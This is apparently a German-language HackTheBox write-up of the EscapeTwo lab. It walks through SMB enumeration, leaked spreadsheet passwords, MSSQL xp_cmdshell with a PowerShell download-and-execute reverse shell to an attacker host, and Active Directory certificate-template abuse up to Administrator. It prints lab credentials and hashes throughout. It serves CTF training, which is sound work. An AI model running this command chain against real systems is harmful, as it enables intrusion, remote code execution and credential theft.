> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # EscapeTwo HackTheBox-Lösungsbericht {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * SMB-Enumerierung * Informationsleck mit Passwörtern (zip-, Excel-Datei) * MSSQL (Microsoft SQL) Ausnutzung RCE * BloodHound-Aufzählung * WriteOwner CA/\_SVC-Benutzer (Privilegieneskalation) {% endhint %} Bei diesem Penetrationstest in einer Windows-Umgebung haben wir die folgenden Anmeldeinformationen: * Benutzername: `rose` * Passwort: `KxEPkKe6R8su` ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.
**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.
**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```
**Analyse offener Ports mit extractPorts:** Mit der Funktion extractPorts werden die offenen Ports in einem kompakten Format angezeigt und in die `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` Zwischenablage
Port- und Versionsscan mit Nmap: Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```
Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei ein:
### Port 445 - SMB **Benutzer mit CrackMapExec validieren** Wir bestätigen, dass der `rose` Benutzer auf dem Domänencontroller (DC) existiert: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```
**Erkundung von SMB-Freigaben** Wir listen die zugänglichen Freigaben mit `--shares` Befehl: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **Ergebnis**: Zwei interessante Ordner sind sichtbar: * `Benutzer` * `Buchhaltungsabteilung`
/*/* Mit smbclient/ eine Verbindung zur SMB-Freigabe herstellen*/* Wir greifen auf **Buchhaltungsabteilung**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` In diesem Verzeichnis stellen wir zwei Excel-Dateien wieder her: ```powershell get accounting_2024.xlsx get accounts.xlsx ```
**Dateiformaterkennung** Mit der `Datei` Befehl bestimmen wir, dass diese Dateien tatsächlich ZIP-Archive sind.
**ZIP-Datei-Extraktion** Wir entpacken die wiederhergestellten Dateien:
**Suche nach sensiblen Informationen** Wir filtern die extrahierten Dateien, um Informationen zu finden, die das Schlüsselwort **Passwort**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```
**Ergebnis**: Eine Datei namens `shareStrings.xml` enthält eine Liste von Benutzern und Passwörtern.
VornameNachnameE-MailBenutzernamePasswort
AngelaMartinangela@sequel.htbangela0fwz7Q4mSpurIt99
OscarMartinezoscar@sequel.htboscar86LxLBMgEWaKUnBG
KevinMalonekevin@sequel.htbkevinMd9Wlq1E5bZnVDVo
sa@sequel.htbsaMSSQLP@ssw0rd!
**IDs mit CrackMapExec testen** Wir verwenden die wiederhergestellten Anmeldeinformationen, um Konten zu validieren: ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **Ergebnis**: Nur der `oscar` Benutzer ist gültig.
## MSSQL-Ausnutzung (Microsoft SQL) **Port 1433 (MSSQL)** Port 1433 ist offen, was darauf hinweist, dass ein Microsoft-SQL-Server lauscht. Wir werden die Verbindungen mit den zuvor wiederhergestellten verschiedenen Benutzern testen.
**MSSQL-Verbindungstest** Wir verwenden `mssqlclient.py` um zu versuchen, eine Verbindung herzustellen: ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```
**Ergebnis**: Nur der Benutzer `sa` funktioniert. ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```
### Reverse Shell über MSSQL **Befehlsausführung aktivieren** Um Systembefehle auszuführen, aktivieren wir `xp_cmdshell`: ```sql enable_xp_cmdshell ``` Dann testen wir mit einem einfachen Befehl, wie `ipconfig`: ```sql xp_cmdshell ipconfig ```
**Vorbereitung des Lauschens auf unserer Maschine** Wir starten einen Listener auf Port 4444: ```bash rlwrap nc -nvlp 4444 ``` **Ein PowerShell-Skript herunterladen** Wir bereiten ein PowerShell-Skript namens `PS.ps1` vor, das einen Reverse-Shell-Befehl enthält. Am Ende des Skripts fügen wir die folgende Zeile hinzu: {% embed url="" %} Am Ende des Skripts fügen wir die folgende Zeile hinzu: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` Wir hosten dieses Skript auf einem lokalen Webserver: ```bash python3 -m http.server 80 ``` **Ausführung der Reverse Shell** Vom MSSQL-Server aus führen wir den folgenden Befehl aus, um das PowerShell-Skript herunterzuladen und auszuführen: ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```
## Pivoting auf Benutzer Ryan **Neue Anmeldeinformationen entdeckt** Bei der Erkundung des Systems entdecken wir ein Verzeichnis namens **SQL2019** im Stammverzeichnis. Darin finden wir die folgenden Anmeldeinformationen: * Benutzername : `ryan` * Passwort: `WqSZAF6CysDQbGb3`
**Validierung der Anmeldeinformationen mit CrackMapExec** Wir prüfen, ob diese Anmeldeinformationen gültig sind: ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```
Bei der Erkundung freigegebener Verzeichnisse identifizieren wir einen Benutzer namens `ryan`. Wir testen dieselben Anmeldeinformationen wie für `sql_svc`:
**Ergebnis**: Die Anmeldeinformationen funktionieren auch für den Benutzer `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```
Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```
### Flagge user.txt :)
## Privilegieneskalation ### BloodHound-Python-Aufzählung Verwendeter Befehl: ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```
## WriteOwner: **Beobachtung :**/ Der **Ryan** Benutzer hat die `WriteOwner` Berechtigung im **CA/ SVC** Konto, das auch der Zertifikatsaussteller ist. Das bedeutet, dass wir den Kontobesitzer ändern können **CA/ SVC** um zuzuordnen **Ryan**.
### Übernahme von CA/\_SVC mit BloodyAD #### Änderung des Kontobesitzers {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} Der Befehl verwendet BloodyAD, um den Besitzer von **CA/ SVC** zu ändern und ihn auf **Ryan**festzulegen. Als Besitzer, **Ryan** kann nun die mit dem Konto verbundenen Berechtigungen ändern. ### Berechtigungen mit Dacledit ändern #### Ryan volle Berechtigung geben {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} Dieser Befehl ändert die **DACL** (Discretionary Access Control List) des **CA/ SVC** Kontos, um **Ryan**. Dadurch kann Ryan das Passwort zurücksetzen oder Authentifizierungsschlüssel manipulieren.
### Extraktion von Shadow Credentials #### NT-Hash erzeugen und wiederherstellen {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}
NT-Hash für **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` Das **Certipy** Befehl generiert einen Identifikationsschlüssel für **CA/ SVC**, wodurch zertifikatsbasierte Authentifizierung ermöglicht wird. Eine `.ccache` Datei wird ebenfalls erzeugt, was Kerberos-basierte Angriffe erleichtert. ### Änderung der Zertifikatvorlage #### Das DunderMifflinAuthentication-Modell anpassen {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}
Dieser Befehl ändert die **DunderMifflinAuthentication** Zertifikatvorlage, um die Ausstellung von Zertifikaten mit hohen Rechten zu ermöglichen. ### Ausstellen eines Zertifikats für den Administrator #### Ein Zertifikat zur Identitätsübernahme anfordern {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}
Dieser Befehl erfordert ein Zertifikat im Namen des Administrators (`Administrator@sequel.htb`), wodurch die Identität dieses Kontos übernommen werden kann. ### Authentifizierung als Administrator #### Verwendung des Zertifikats zur Authentifizierung ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```
**NTLMv2-Hash :** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```
Dieser Befehl authentifiziert sich als Administrator mit dem zuvor erhaltenen Zertifikat und stellt den NTLM-Hash wieder her. ### Flag root.txt :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.